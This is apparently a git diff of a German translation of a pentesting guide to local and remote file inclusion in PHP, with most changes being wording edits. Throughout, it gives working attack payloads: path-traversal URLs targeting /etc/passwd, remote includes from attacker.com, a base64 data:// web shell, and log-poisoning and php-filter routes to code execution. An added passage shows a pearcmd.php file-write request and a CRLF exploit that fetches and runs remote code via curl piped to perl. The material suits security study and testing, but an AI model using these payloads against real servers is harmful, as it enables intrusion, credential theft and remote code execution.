Path truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, sobald er durch die Sicherheitsmaßnahme verändert wird, weiterhin auf die gewünschte Datei verweist.
|
||||
|
||||
In PHP können verschiedene Darstellungen eines Dateipfades aufgrund der Natur des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:
|
||||
|
||||
|
@ -137,7 +137,7 @@ In PHP können verschiedene Darstellungen eines Dateipfades aufgrund der Natur d
|
|||
* Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (was es zu `passwd/` macht) die Ziel-Datei nicht.
|
||||
* Ebenso, wenn `.php` an einen Dateipfad angehängt wird (wie `shellcode.php`), wird das Hinzufügen eines `/.` am Ende die aufgerufene Datei nicht verändern.
|
||||
|
||||
Die bereitgestellten Beispiele zeigen, wie man Path-Truncation nutzen kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
|
||||
Die bereitgestellten Beispiele zeigen, wie man Path Truncation nutzen kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
|
@ -153,7 +153,7 @@ In diesen Szenarien könnte die Anzahl der benötigten Traversierungen etwa 2027
|
|||
* **Bestimmung der erforderlichen Anzahl von Traversierungen**: Durch Ausprobieren kann man die genaue Anzahl der benötigten `../`-Sequenzen finden, um zum Stammverzeichnis und dann zu `/etc/passwd` zu navigieren, wobei sichergestellt wird, dass angehängte Zeichenfolgen (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt.
|
||||
* **Beginn mit einem gefälschten Verzeichnis**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme oder zur Erfüllung der Anforderungen der Pfadverarbeitungslogik des Servers verwendet.
|
||||
|
||||
Bei der Anwendung von Techniken zur Pfadtruncation ist es entscheidend, das Pfadverhalten und die Dateisystemstruktur des Servers zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
|
||||
Bei der Anwendung von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
|
||||
|
||||
**Diese Schwachstelle wurde in PHP 5.3 behoben.**
|
||||
|
||||
|
@ -172,7 +172,7 @@ In PHP ist dies standardmäßig deaktiviert, da **`allow_url_include`** **Aus**
|
|||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Wenn aus irgendeinem Grund **`allow_url_include`** auf **On** gesetzt ist, aber PHP den Zugriff auf externe Webseiten **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), könntest du beispielsweise das Datenprotokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten:
|
||||
Wenn aus irgendeinem Grund **`allow_url_include`** **aktiviert** ist, aber PHP den Zugriff auf externe Webseiten **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), könntest du beispielsweise das Datenprotokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -192,7 +192,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## Python Wurzel-Element
|
||||
## Python Wurzelelement
|
||||
|
||||
In Python in einem Code wie diesem:
|
||||
```python
|
||||
|
@ -206,7 +206,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
|||
```
|
||||
Es ist das beabsichtigte Verhalten gemäß [den Dokumenten](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen erfolgt ab der Komponente des absoluten Pfads.
|
||||
> Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen erfolgt ab der absoluten Pfadkomponente.
|
||||
|
||||
## Java Verzeichnisse auflisten
|
||||
|
||||
|
@ -214,7 +214,7 @@ Es scheint, dass wenn Sie eine Path Traversal in Java haben und Sie **nach einem
|
|||
|
||||
## Top 25 Parameter
|
||||
|
||||
Hier ist eine Liste der 25 wichtigsten Parameter, die anfällig für lokale Datei-Inclusion (LFI) Schwachstellen sein könnten (von [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Hier ist eine Liste der 25 wichtigsten Parameter, die anfällig für lokale Datei-Inklusions (LFI) Schwachstellen sein könnten (von [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
|
@ -262,7 +262,7 @@ PHP-Filter ermöglichen grundlegende **Modifikationsoperationen an den Daten**,
|
|||
* `convert.iconv.*` : Transformiert in eine andere Kodierung (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Kodierungen** zu erhalten, führen Sie in der Konsole aus: `iconv -l`
|
||||
|
||||
{% hint style="warning" %}
|
||||
Durch den Missbrauch des `convert.iconv.*` Konvertierungsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include zu ermöglichen, die willkürlichen Text verarbeitet. Für weitere Informationen siehe [**LFI2RCE über PHP-Filter**](lfi2rce-via-php-filters.md).
|
||||
Durch den Missbrauch des `convert.iconv.*` Konvertierungsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include willkürlichen Text zu verarbeiten. Für weitere Informationen siehe [**LFI2RCE über PHP-Filter**](lfi2rce-via-php-filters.md).
|
||||
{% endhint %}
|
||||
|
||||
* [Kompressionsfilter](https://www.php.net/manual/en/filters.compression.php)
|
||||
|
@ -308,21 +308,21 @@ Der Teil "php://filter" ist nicht groß-/kleinschreibungsempfindlich
|
|||
|
||||
### Verwendung von php-Filtern als Oracle zum Lesen beliebiger Dateien
|
||||
|
||||
[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **booleschen Exfiltration der Datei (Zeichen für Zeichen) unter Verwendung von php-Filtern** als Oracle. Dies liegt daran, dass php-Filter verwendet werden können, um einen Text groß genug zu machen, damit php eine Ausnahme auslöst.
|
||||
[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **booleschen Exfiltration der Datei (zeichenweise) unter Verwendung von php-Filtern** als Oracle. Dies liegt daran, dass php-Filter verwendet werden können, um einen Text groß genug zu machen, damit php eine Ausnahme auslöst.
|
||||
|
||||
Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik, aber hier ist eine kurze Zusammenfassung:
|
||||
|
||||
* Verwenden Sie den Codec **`UCS-4LE`**, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell zu erhöhen.
|
||||
* Dies wird verwendet, um einen **so großen Text zu generieren, wenn der Anfangsbuchstabe korrekt erraten wird**, dass php einen **Fehler** auslöst.
|
||||
* Der **dechunk**-Filter wird **alles entfernen, wenn das erste Zeichen kein Hexadezimalzeichen ist**, sodass wir wissen können, ob das erste Zeichen hexadezimal ist.
|
||||
* Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr als hexadezimales Zeichen zu betrachten. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen.
|
||||
* Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe kein hexadezimales Zeichen mehr, daher wird dechunk es nicht löschen und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
|
||||
* Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
|
||||
* Wenn das anfängliche Zeichen eine Zahl ist, muss es base64 codiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren.
|
||||
* Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr zu einem hexadezimalen Zeichen zu machen. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen.
|
||||
* Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe kein hexadezimales Zeichen mehr, daher hat dechunk es nicht gelöscht und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
|
||||
* Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den hexadezimalen Bereich zu verschieben).
|
||||
* Wenn das anfängliche Zeichen eine Zahl ist, muss es base64 codiert werden und die ersten 2 Buchstaben geleakt werden, um die Zahl zu exfiltrieren.
|
||||
* Das endgültige Problem besteht darin, **wie man mehr als den anfänglichen Buchstaben exfiltriert**. Durch die Verwendung von Ordnungsfilter wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten.
|
||||
* Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es **mit den nächsten 2 Bytes zu pivotieren**, und **die Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
|
||||
* Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es **mit den nächsten 2 Bytes zu pivotieren**, und die **Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
|
||||
|
||||
Im Beitrag wurde auch ein Tool zum automatischen Ausführen dieser Technik geleakt: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
Im Beitrag wurde auch ein Tool zur automatischen Durchführung dieser Technik geleakt: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
|
@ -393,7 +393,7 @@ php --define phar.readonly=0 create_path.php
|
|||
```
|
||||
Bei der Ausführung wird eine Datei namens `test.phar` erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI) Schwachstellen verwendet werden könnte.
|
||||
|
||||
In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführen des PHP-Codes innerhalb dieser durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden.
|
||||
In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführen des PHP-Codes innerhalb von Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden.
|
||||
|
||||
Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsanfälligkeiten im Kontext von `.phar`-Dateien, siehe das unten verlinkte Dokument:
|
||||
|
||||
|
@ -405,8 +405,8 @@ Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsanfälli
|
|||
|
||||
### CVE-2024-2961
|
||||
|
||||
Es war möglich, **jede beliebige Datei, die von PHP gelesen wird und php-Filter unterstützt**, auszunutzen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Sehr schnelle Zusammenfassung: Ein **3-Byte-Überlauf** im PHP-Heap wurde ausgenutzt, um **die Kette freier Blöcke** einer bestimmten Größe zu **ändern, um in jede Adresse schreiben zu können**, sodass ein Hook hinzugefügt wurde, um **`system`** aufzurufen.\
|
||||
Es war möglich, **jede beliebige Datei, die von PHP unterstützt wird und php-Filter verwendet**, auszunutzen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Sehr schnelle Zusammenfassung: ein **3-Byte-Überlauf** im PHP-Heap wurde ausgenutzt, um **die Kette freier Blöcke** einer bestimmten Größe zu **ändern, um in jede Adresse schreiben zu können**, sodass ein Hook hinzugefügt wurde, um **`system`** aufzurufen.\
|
||||
Es war möglich, Blöcke spezifischer Größen auszuwählen, indem mehr PHP-Filter ausgenutzt wurden.
|
||||
|
||||
### Weitere Protokolle
|
||||
|
@ -448,28 +448,28 @@ Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Serve
|
|||
Engagieren Sie sich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen
|
||||
|
||||
**Echtzeit-Hack-Nachrichten**\
|
||||
Bleiben Sie auf dem Laufenden mit der schnelllebigen Hack-Welt durch Echtzeit-Nachrichten und Einblicke
|
||||
Bleiben Sie auf dem Laufenden über die schnelllebige Hackerwelt durch Echtzeitnachrichten und Einblicke
|
||||
|
||||
**Neueste Ankündigungen**\
|
||||
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
|
||||
|
||||
**Tritt uns bei auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
|
||||
**Tritt uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
{% hint style="warning" %}
|
||||
Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion** **steuern**, die **auf eine Datei zugreift**, aber Sie den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**), aber der Inhalt wird nicht angezeigt.
|
||||
Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion** **steuern**, die auf eine **Datei** zugreift, aber Sie den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**), aber der Inhalt wird nicht angezeigt.
|
||||
{% endhint %}
|
||||
|
||||
In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfad-Traversal über PHP-Filter missbraucht werden kann, um den **Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren**.
|
||||
|
||||
Zusammenfassend verwendet die Technik die **"UCS-4LE" Kodierung**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP-Funktion**, die die Datei öffnet, einen **Fehler** auslöst.
|
||||
|
||||
Dann wird, um das erste Zeichen zu leaken, der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um **andere Zeichen am Anfang zu platzieren und sie zu leaken**.
|
||||
Dann wird der Filter **`dechunk`** verwendet, um das erste Zeichen zu leaken, zusammen mit anderen wie **base64** oder **rot13**, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um **andere Zeichen am Anfang zu platzieren und sie zu leaken**.
|
||||
|
||||
**Funktionen, die anfällig sein könnten**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel nur lesen mit diesem)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Funktionen, die anfällig sein könnten**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel nur lesend mit diesem)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Für die technischen Details siehe den genannten Beitrag!
|
||||
Für technische Details siehe den genannten Beitrag!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
|
@ -484,7 +484,7 @@ Wenn der Apache- oder Nginx-Server **anfällig für LFI** ist, könnten Sie vers
|
|||
{% hint style="warning" %}
|
||||
Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell anstelle von **einfachen Anführungszeichen** verwenden, die doppelten Anführungszeichen für den String "_**quote;**_" geändert werden, **PHP wird dort einen Fehler auslösen** und **nichts anderes wird ausgeführt**.
|
||||
|
||||
Stellen Sie außerdem sicher, dass Sie die **Payload korrekt schreiben**, da PHP jedes Mal einen Fehler ausgibt, wenn es versucht, die Protokolldatei zu laden, und Sie keine zweite Gelegenheit haben werden.
|
||||
Stellen Sie außerdem sicher, dass Sie **die Payload korrekt schreiben**, da PHP jedes Mal einen Fehler ausgibt, wenn es versucht, die Protokolldatei zu laden, und Sie keine zweite Gelegenheit haben werden.
|
||||
{% endhint %}
|
||||
|
||||
Dies könnte auch in anderen Protokollen durchgeführt werden, aber **seien Sie vorsichtig**, der Code in den Protokollen könnte URL-kodiert sein und dies könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Protokollen dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.\
|
||||
|
@ -509,7 +509,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||
### Via /proc/\*/fd/\*
|
||||
|
||||
1. Lade viele Shells hoch (zum Beispiel: 100)
|
||||
2. Schließe [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) ein, wobei $PID = PID des Prozesses (kann brute-forced werden) und $FD der Dateideskriptor (kann ebenfalls brute-forced werden)
|
||||
2. Schließe [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) ein, wobei $PID = PID des Prozesses (kann brute-forced werden) und $FD der Dateideskriptor (kann ebenfalls brute-forced werden).
|
||||
|
||||
### Via /proc/self/environ
|
||||
|
||||
|
@ -565,29 +565,29 @@ Die Protokolle für den FTP-Server vsftpd befinden sich unter _**/var/log/vsftpd
|
|||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64-Filter einfach Nicht-base64. Sie können dies verwenden, um die Überprüfung der Dateierweiterung zu umgehen: Wenn Sie base64 bereitstellen, das mit ".php" endet, wird das "." einfach ignoriert und "php" an das base64 angehängt. Hier ist ein Beispiel für eine Nutzlast:
|
||||
Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64-Filter einfach Non-base64. Sie können dies verwenden, um die Überprüfung der Dateierweiterung zu umgehen: Wenn Sie base64 angeben, das mit ".php" endet, wird das "." einfach ignoriert und "php" an das base64 angehängt. Hier ist ein Beispiel für eine Nutzlast:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
### Via php-Filter (keine Datei erforderlich)
|
||||
|
||||
Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen PHP-Code** für die Einbindung **generieren können, ohne ihn in eine Datei schreiben zu müssen**.
|
||||
Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen PHP-Code** für die Einbindung **generieren können, ohne ihn** in eine Datei schreiben zu müssen.
|
||||
|
||||
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||||
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via segmentation fault
|
||||
### Via Segmentierungsfehler
|
||||
|
||||
**Laden Sie** eine Datei hoch, die als **temporär** in `/tmp` gespeichert wird, und lösen Sie dann in der **gleichen Anfrage** einen **Segmentierungsfehler** aus. Die **temporäre Datei wird dann nicht gelöscht** und Sie können nach ihr suchen.
|
||||
**Laden Sie** eine Datei hoch, die als **vorübergehend** in `/tmp` gespeichert wird, und lösen Sie dann in der **gleichen Anfrage** einen **Segmentierungsfehler** aus. Die **vorübergehende Datei wird dann nicht gelöscht** und Sie können nach ihr suchen.
|
||||
|
||||
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
||||
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via Nginx temp file storage
|
||||
### Via Nginx-Temporärdateispeicherung
|
||||
|
||||
Wenn Sie eine **Local File Inclusion** gefunden haben und **Nginx** vor PHP läuft, könnten Sie mit der folgenden Technik RCE erhalten:
|
||||
|
||||
|
@ -595,15 +595,15 @@ Wenn Sie eine **Local File Inclusion** gefunden haben und **Nginx** vor PHP läu
|
|||
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung haben** und `session.auto_start` auf `Off` steht. Wenn Sie die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP **die Sitzung für Sie aktivieren**. Sie könnten dies ausnutzen, um RCE zu erhalten:
|
||||
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung haben** und `session.auto_start` auf `Off` steht. Wenn Sie die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP die **Sitzung für Sie aktivieren**. Sie könnten dies missbrauchen, um RCE zu erhalten:
|
||||
|
||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||
[via-php_session_upload_progress.md](via-php_session_upload_progress.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
### Via temporäre Datei-Uploads in Windows
|
||||
|
||||
Wenn Sie eine **Local File Inclusion** gefunden haben und der Server unter **Windows** läuft, könnten Sie RCE erhalten:
|
||||
|
||||
|
@ -611,9 +611,28 @@ Wenn Sie eine **Local File Inclusion** gefunden haben und der Server unter **Win
|
|||
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via `pearcmd.php` + URL-Argumente
|
||||
|
||||
Wie [**in diesem Beitrag erklärt**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), existiert das Skript `/usr/local/lib/phppearcmd.php` standardmäßig in PHP-Docker-Images. Darüber hinaus ist es möglich, Argumente über die URL an das Skript zu übergeben, da angegeben ist, dass, wenn ein URL-Parameter kein `=` hat, er als Argument verwendet werden sollte.
|
||||
|
||||
Die folgende Anfrage erstellt eine Datei in `/tmp/hello.php` mit dem Inhalt `<?=phpinfo()?>`:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Der folgende Missbrauch einer CRLF-Schwachstelle ermöglicht RCE (von [**hier**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
### Via phpinfo() (file\_uploads = on)
|
||||
|
||||
Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei **phpinfo()** mit file\_uploads = on exponiert, können Sie RCE erhalten:
|
||||
Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei mit **phpinfo()** und file\_uploads = on exponiert ist, können Sie RCE erhalten:
|
||||
|
||||
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
||||
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
||||
|
@ -621,7 +640,7 @@ Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei **phpinfo()
|
|||
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Wenn Sie eine **Local File Inclusion** gefunden haben und Sie **den Pfad** der temporären Datei exfiltrieren können, ABER der **Server** **überprüft**, ob die **einzuschließende Datei PHP-Markierungen hat**, können Sie versuchen, diese **Überprüfung zu umgehen** mit dieser **Race Condition**:
|
||||
Wenn Sie eine **Local File Inclusion** gefunden haben und Sie **den Pfad** der temporären Datei **exfiltrieren können**, ABER der **Server** **überprüft**, ob die **einzuschließende Datei PHP-Markierungen hat**, können Sie versuchen, diese **Überprüfung zu umgehen** mit dieser **Race Condition**:
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
|
@ -629,7 +648,7 @@ Wenn Sie eine **Local File Inclusion** gefunden haben und Sie **den Pfad** der t
|
|||
|
||||
### Via eternal waiting + bruteforce
|
||||
|
||||
Wenn Sie die LFI ausnutzen können, um **temporäre Dateien hochzuladen** und den Server die PHP-Ausführung **hängen** lassen, könnten Sie dann **Stunden damit verbringen, Dateinamen zu brute-forcen**, um die temporäre Datei zu finden:
|
||||
Wenn Sie die LFI missbrauchen können, um **temporäre Dateien hochzuladen** und den Server die PHP-Ausführung **hängen** lassen, könnten Sie dann **Stunden damit verbringen, Dateinamen zu bruteforcen**, um die temporäre Datei zu finden:
|
||||
|
||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||
|
